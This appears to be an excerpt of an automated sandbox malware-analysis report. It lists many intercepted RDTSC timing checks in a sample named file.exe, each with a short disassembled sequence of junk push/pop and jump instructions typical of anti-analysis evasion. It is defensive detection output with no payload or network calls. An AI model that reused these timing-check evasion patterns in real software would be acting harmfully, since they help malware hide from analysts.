Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A21F second address: 138A227 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A227 second address: 138A22C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421BC1 second address: 1421BD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F9CF0B4E766h 0x0000000a jnp 00007F9CF0B4E766h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2814 second address: 13D2826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F9CF0C7B7FCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2929 second address: 13D292F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D292F second address: 13D2934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D29D7 second address: 13D29EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F9CF0B4E766h 0x00000009 jg 00007F9CF0B4E766h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D29EF second address: 13D29F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D29F6 second address: 13D2A09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CF0B4E76Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2BAA second address: 13D2BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2BAE second address: 13D2BBB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9CF0B4E766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2BBB second address: 13D2BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2D76 second address: 13D2D84 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9CF0B4E766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420C13 second address: 1420C48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007F9CF0C7B7F6h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007F9CF0C7B808h 0x00000013 jmp 00007F9CF0C7B7FEh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420C48 second address: 1420C4D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420DD0 second address: 1420DD5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420DD5 second address: 1420DE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9CF0B4E766h 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420F2E second address: 1420F32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420F32 second address: 1420F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420F3A second address: 1420F40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14210CB second address: 1421100 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F9CF0B4E777h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b jns 00007F9CF0B4E768h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ebx 0x00000014 pushad 0x00000015 jmp 00007F9CF0B4E76Ah 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421100 second address: 142111D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CF0C7B807h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142128C second address: 14212B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E777h 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14212B2 second address: 14212B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14212B9 second address: 14212BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14212BF second address: 14212D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9CF0C7B800h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14212D7 second address: 14212DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421410 second address: 142141A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142141A second address: 1421420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421583 second address: 1421587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421587 second address: 142158C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142158C second address: 1421592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421592 second address: 1421598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421598 second address: 14215DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CF0C7B809h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e jmp 00007F9CF0C7B805h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a jl 00007F9CF0C7B7F6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421757 second address: 1421760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14240C9 second address: 14240CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14240CF second address: 14240F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E774h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F9CF0B4E76Bh 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14240F9 second address: 14240FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14240FF second address: 1424105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424105 second address: 1424109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424109 second address: 1424125 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E775h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1426FB0 second address: 1426FBA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9CF0C7B7F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1426FBA second address: 1426FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9CF0B4E76Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1426FD1 second address: 1426FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1426B41 second address: 1426B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1426B45 second address: 1426B51 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9CF0C7B7F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1426B51 second address: 1426B5B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9CF0B4E76Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1426B5B second address: 1426B62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142CF6A second address: 142CF78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jg 00007F9CF0B4E766h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142D0CC second address: 142D0D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142D3C7 second address: 142D3CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142D3CB second address: 142D3FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0C7B7FEh 0x00000007 jnl 00007F9CF0C7B7F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F9CF0C7B807h 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142D82D second address: 142D844 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E773h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14301EA second address: 14301F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9CF0C7B7F6h 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14301F9 second address: 14301FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14301FF second address: 1430205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1434A4A second address: 1434A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1434A50 second address: 1434A56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143513D second address: 1435143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1435143 second address: 143514D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9CF0C7B7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143514D second address: 1435153 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D2ED7 second address: 13D2EE1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9CF0C7B7F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14352A3 second address: 14352AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14352AA second address: 14352E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9CF0C7B802h 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b jmp 00007F9CF0C7B807h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edx 0x00000013 jnp 00007F9CF0C7B7FEh 0x00000019 push esi 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B2B4 second address: 143B2D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F9CF0B4E776h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B3F8 second address: 143B403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B924 second address: 143B945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CF0B4E774h 0x00000009 popad 0x0000000a jg 00007F9CF0B4E76Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B945 second address: 143B988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CF0C7B7FAh 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F9CF0C7B7FEh 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push ebx 0x00000017 jmp 00007F9CF0C7B7FFh 0x0000001c pop ebx 0x0000001d jl 00007F9CF0C7B7FAh 0x00000023 push edi 0x00000024 pop edi 0x00000025 push ecx 0x00000026 pop ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B988 second address: 143B98C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B98C second address: 143B990 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143BBE9 second address: 143BBED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143BBED second address: 143BBF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143BBF1 second address: 143BBFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F9CF0B4E76Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C4B2 second address: 143C4B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C4B8 second address: 143C4C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C4C0 second address: 143C4C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C793 second address: 143C7EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9CF0B4E776h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F9CF0B4E778h 0x00000010 ja 00007F9CF0B4E768h 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c jmp 00007F9CF0B4E777h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C7EC second address: 143C7F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143C7F2 second address: 143C80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F9CF0B4E772h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CDB1 second address: 143CDB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CDB5 second address: 143CDB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1440ADF second address: 1440AE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1440DED second address: 1440E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CF0B4E771h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1440F8F second address: 1440F99 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9CF0C7B7F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144153A second address: 1441540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1441540 second address: 1441568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jng 00007F9CF0C7B7F6h 0x0000000b jmp 00007F9CF0C7B804h 0x00000010 pushad 0x00000011 popad 0x00000012 jbe 00007F9CF0C7B7F6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1441568 second address: 1441571 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1446019 second address: 144601D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144601D second address: 1446021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1446021 second address: 1446027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1446027 second address: 1446057 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9CF0B4E778h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9CF0B4E76Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E301 second address: 144E305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144C407 second address: 144C41D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F9CF0B4E770h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144C585 second address: 144C591 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9CF0C7B7F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144C8C5 second address: 144C8DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CF0B4E76Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CA2A second address: 144CA2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CA2E second address: 144CA34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CD2C second address: 144CD4E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9CF0C7B805h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jl 00007F9CF0C7B7FEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CD4E second address: 144CD5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144CD5A second address: 144CD5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144D9CA second address: 144D9D0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144D9D0 second address: 144D9DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
